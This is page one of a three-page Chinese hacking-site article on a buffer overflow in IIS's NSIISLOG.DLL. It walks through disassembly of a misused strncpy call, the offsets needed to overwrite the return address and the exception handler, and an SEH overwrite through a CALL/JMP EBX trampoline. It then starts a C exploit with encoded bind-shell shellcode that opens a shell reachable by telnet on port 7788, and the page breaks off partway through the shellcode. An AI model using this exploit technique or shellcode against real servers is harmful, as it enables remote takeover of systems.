您的位置:积木首页 >> 黑客技术频道 >> 病毒漏洞 >> 正文:
标题:IIS的NSIISLOG.DLL溢出问题分析
时间:2005-7-31 来源:不详 浏览数:
              作者:FLASHSKY 溢出漏洞原因分析:

导致溢出的代码就在NSIISLOG.DLL中,如下
.text:40F01B08                 mov     ecx, esi
.text:40F01B0A                 call    dword ptr [eax+8]
.text:40F01B0D                 push    eax            <----------------计算的POST数据长度
.text:40F01B0E                 mov     ecx, ebx
.text:40F01B10                 push    [ebp+arg_4]        <----------------POST数据的BUFFER
.text:40F01B13                 call    sub_40F01EEE
#########################################################################################################
sub_40F01EEE函数内容:
.text:40F01EEE                 push    ebp
.text:40F01EEF                 mov     ebp, esp
.text:40F01EF1                 mov     eax, 1104h
.text:40F01EF6                 call    sub_40F02B80            〈-----------------分配缓冲区,按含ESP-0X1104的调用
.text:40F01EFB                 push    ebx
.text:40F01EFC                 push    esi
.text:40F01EFD                 mov     ebx, [ebp+arg_4]
.text:40F01F00                 push    edi                    〈-------------------导致溢出的参数,本来应该是被溢出的缓冲区的长度
.text:40F01F01                 mov     edi, [ebp+arg_8]                            这里却传成了POST数据的长度
.text:40F01F04                 or      ecx, 0FFFFFFFFh
.text:40F01F07                 xor     eax, eax
.text:40F01F09                 push    ebx
.text:40F01F0A                 repne scasb
.text:40F01F0C                 push    [ebp+arg_0]           〈----------------------我们POST的数据
.text:40F01F0F                 lea     eax, [ebp+var_1104]
.text:40F01F15                 not     ecx
.text:40F01F17                 dec     ecx
.text:40F01F18                 push    eax                   〈------------------------被溢出的缓冲区
.text:40F01F19                 mov     [ebp+var_4], ecx
.text:40F01F1C                 call    ds:strncpy             〈-----------------------导致溢出的调用
##############################################################################################################
溢出原因:
strncpy这个调用本来是安全函数调用的,原形是:
strncpy(BUF1,BUF2,BUF1MAXLEN)
但是在这个调用中,调用者误使这个函数的调用成如下方式了:
strncpy(BUF1,BUF2,BUF2MAXLEN),这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。
我们可以计算出返回地址的覆盖点是:
    0X1104+4(EBP占用的地址)=0x1108,那么需要0X110C个字节,注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。

溢出攻击实现:
    但是在函数返回以前我们发现会引发函数的异常(主要是后面的strspn调用中),那么我们就得想法覆盖异常结构。(当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的,不过这样太麻烦了),nsiislog.dll自己并没有异常处理程序,那么需要我们覆盖默认的异常结构处理地址,我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。
    另外需要考虑的问题就是在触发异常之前,如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题,那么我们最好使得在STRNCPY中就出发缓冲。(这个溢出中,会转换EBP之前的一些数据的大小写,也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置,不过返回地址不是很好设置)。
那么我们需要比0X270C更长的地址导致地址访问违反例,这个长度是和当前缓冲大小相关的(到下一个地址段,如0X8CXXXX-〉0X8D0000就会引发异常):
考虑这个问题,我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了),就能绝对保证在strncpy中引发异常了。
下面我们就要寻找一个CALL EBX或JMP EBX的地址了(因为是覆盖异常结构),这个地址其实在NSIISLOG.DLL中就有很多,这样就能避免很多版本要求的问题。
这里再给大家分析一下为什么溢出异常结构之后要找CALL(JMP)EBX的原理
首先异常结构链结构如下
DWORD PNEXT      下一个异常结构地址指针
DWORD FUNADDR    当前处理函数入口地址

在KiUserExceptionDispatcher中的处理是如下方式的:
77f8e4ca ff7304           push  dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c   <-------------EBX+4就是当前异常处理函数调用地址,EBX就是异常结构地址,由于可能要处理下一个异常链,所以EBX就保存了下来未做修改,这样在我们覆盖了EBX+4的异常处理函数调用地址后找到CALL(JMP)EBX就可以到达我们可以控制的一个内存区域。
77f8e4cd 8d45f0           lea     eax,[ebp-0x10]
77f8e4d0 50               push    eax
77f8e4d1 ff750c           push    dword ptr [ebp+0xc]
77f8e4d4 53               push    ebx
77f8e4d5 56               push    esi
77f8e4d6 e83affffff       call    ntdll!RtlSetBits+0x305 (77f8e415)

###############################################################################
77f8e42f ff7514           push    dword ptr [ebp+0x14]
77f8e432 ff7510           push    dword ptr [ebp+0x10]
77f8e435 ff750c           push    dword ptr [ebp+0xc]
77f8e438 ff7508           push    dword ptr [ebp+0x8]
77f8e43b 8b4d18           mov     ecx,[ebp+0x18]                           <-------------这里就是溢出的异常结构地址
77f8e43e ffd1             call    ecx {nsiislog+0x135c (40f0135c)}
###############################################################################

这里需要注意的是:找到的返回地址是在[ebx+4]上,而调用CALL EBX也要把这个地址内存的内容当指令执行,所以EBX(异常结构前)的地址的内容应该是跳过
EBX+4(被覆盖的异常结构地址)的,下面就是一个EXP代码,使用了ISNO的SHELLCODE(我拿到的这个SHELLCODE有点小毛病,使得只能连上无法执行指令,已修改),执行以后TELNET IP 7788
###############################################################################
#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>


char        *hostName = NULL;
unsigned char shellcode[]=
        "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
        "\x70\xa4\x57\x1c\xd4\xa

[1] [2] [3] 下一页


(责任编辑:笑虎)
最近更新
今日推荐
热点文章